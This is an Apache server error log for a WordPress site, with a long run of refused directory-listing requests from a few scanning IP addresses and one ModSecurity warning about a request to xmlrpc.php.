[Wed Apr 15 06:24:00.742769 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:02.181786 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:03.546575 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:05.489983 2026] [autoindex:error] [pid 4169:tid 4195] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:05.706582 2026] [autoindex:error] [pid 4169:tid 4188] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:06.017389 2026] [autoindex:error] [pid 4169:tid 4180] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:08.557333 2026] [autoindex:error] [pid 4169:tid 4183] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:11.657113 2026] [autoindex:error] [pid 4169:tid 4184] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:12.136676 2026] [autoindex:error] [pid 4169:tid 4187] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:15.762737 2026] [autoindex:error] [pid 4169:tid 4198] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:17.237146 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:19.710342 2026] [autoindex:error] [pid 4169:tid 4200] [client 45.131.195.115:51095] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:22.380264 2026] [autoindex:error] [pid 4169:tid 4179] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:22.664285 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:23.020801 2026] [autoindex:error] [pid 4169:tid 4177] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:23.342849 2026] [autoindex:error] [pid 4169:tid 4184] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:23.645162 2026] [autoindex:error] [pid 4169:tid 4188] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:33.711972 2026] [autoindex:error] [pid 4169:tid 4180] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:33.957736 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:34.528161 2026] [autoindex:error] [pid 4169:tid 4197] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:34.794509 2026] [autoindex:error] [pid 4169:tid 4176] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:35.158870 2026] [autoindex:error] [pid 4169:tid 4187] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:40.292636 2026] [autoindex:error] [pid 4169:tid 4196] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:42.283604 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:42.504480 2026] [autoindex:error] [pid 4169:tid 4178] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:42.808534 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:43.033014 2026] [autoindex:error] [pid 4169:tid 4179] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:43.256274 2026] [autoindex:error] [pid 4169:tid 4200] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:48.716981 2026] [autoindex:error] [pid 4169:tid 4178] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:52.914484 2026] [autoindex:error] [pid 4169:tid 4189] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:53.170502 2026] [autoindex:error] [pid 4169:tid 4200] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:24:54.574999 2026] [autoindex:error] [pid 4169:tid 4187] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:01.771870 2026] [autoindex:error] [pid 4169:tid 4197] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:02.041003 2026] [autoindex:error] [pid 4169:tid 4191] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:02.305498 2026] [autoindex:error] [pid 4169:tid 4176] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:02.605923 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:07.697532 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:11.636216 2026] [autoindex:error] [pid 4169:tid 4183] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:11.938138 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:14.117508 2026] [:error] [pid 45504:tid 45513] [client 82.197.70.185:54764] [client 82.197.70.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.70.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6-yq3iO9_fE_IQEMlLhwAAAQc"]
[Wed Apr 15 06:25:24.950488 2026] [autoindex:error] [pid 4169:tid 4200] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:27.544798 2026] [autoindex:error] [pid 4169:tid 4189] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:27.935047 2026] [autoindex:error] [pid 4169:tid 4178] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:28.251338 2026] [autoindex:error] [pid 4169:tid 4181] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:29.897624 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:31.402016 2026] [autoindex:error] [pid 4169:tid 4198] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:49.950784 2026] [autoindex:error] [pid 4169:tid 4179] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:53.201463 2026] [autoindex:error] [pid 4169:tid 4197] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:55.702473 2026] [autoindex:error] [pid 4169:tid 4186] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:25:58.279106 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:00.931423 2026] [autoindex:error] [pid 4169:tid 4192] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:02.018804 2026] [autoindex:error] [pid 4169:tid 4173] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:04.198168 2026] [autoindex:error] [pid 4169:tid 4196] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:04.454476 2026] [autoindex:error] [pid 4169:tid 4197] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:04.785334 2026] [autoindex:error] [pid 4169:tid 4180] [client 45.131.195.170:56309] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:12.048440 2026] [autoindex:error] [pid 4065:tid 4096] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:15.033086 2026] [autoindex:error] [pid 4065:tid 4092] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
